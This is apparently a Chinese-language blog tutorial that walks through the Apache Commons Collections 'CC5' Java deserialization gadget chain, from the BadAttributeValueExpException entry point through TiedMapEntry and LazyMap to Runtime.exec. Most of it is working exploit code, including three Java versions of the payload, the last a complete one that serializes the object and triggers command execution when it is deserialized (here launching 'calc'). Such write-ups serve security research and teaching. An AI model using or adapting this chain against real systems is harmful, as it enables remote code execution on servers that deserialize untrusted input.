前言
CC5,说白了就是在CC6的基础上换了个入口类
参考:
分析
继续掏出之前的总结图
CC5的入口类是 BadAttributeValueExpException
的 readObject()
方法,这个不难理解
关键是这里的LazyMap.get()
方法被TiedMapEntry.toString()
调用了,要找谁调用了toString()
可太多了,只能正向分析
直接看 javax.management.BadAttributeValueExpException#readObject
这里调用了 toString()
方法,然后 TiedMapEntry
这个类调用了 toString()
方法
嗯,熟悉的 getValue,跟进一下后面就连上 LazyMap.get
了
那么就是让 valObj 为 TiedMapEntry 就行了
写exp
LazyMap.get()部分
后半段直接套 cc1的 LazyMapChain 即可
package com.example.cc5;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
Class<LazyMap> lazyMapClass = LazyMap.class;
Method lazyGetMethod = lazyMapClass.getDeclaredMethod("get", Object.class);
lazyGetMethod.setAccessible(true);
lazyGetMethod.invoke(decorateMap, chainedTransformer);
}
}
PS:最后的反射部分是用来证明这个exp是可行的
TiedMapEntry.toString()部分
TiedMapEntry
这个类继承了反序列化,并且是 public 的类,可操纵性非常强
直接看构造方法和相关的方法
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
public String toString() {
return getKey() + "=" + getValue();
}
public Object getValue() {
return map.get(key);
}
那么只需要将map赋值为 decorateMap 即可
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "value");
tiedMapEntry.toString();
此时的exp:
package com.example.cc5;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "value");
tiedMapEntry.toString();
}
}
BadAttributeValueExpException入口类部分
入口类的 BadAttributeValueExpException
的作用域是 public,所以我们可以直接 new 一个对象
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
然后修改 BadAttributeValueExpException
的 val 值,而 BadAttributeValueExpException
是支持序列化的,直接用反射的方式来修改
Utils.SetValue(badAttributeValueExpException, "val", tiedMapEntry);
最终的exp
package com.example.cc5;
import com.example.Utils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "value");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Utils.SetValue(badAttributeValueExpException, "val", tiedMapEntry);
String barr = Utils.Serialize(badAttributeValueExpException);
System.out.println(barr);
Utils.UnSerialize(barr);
}
}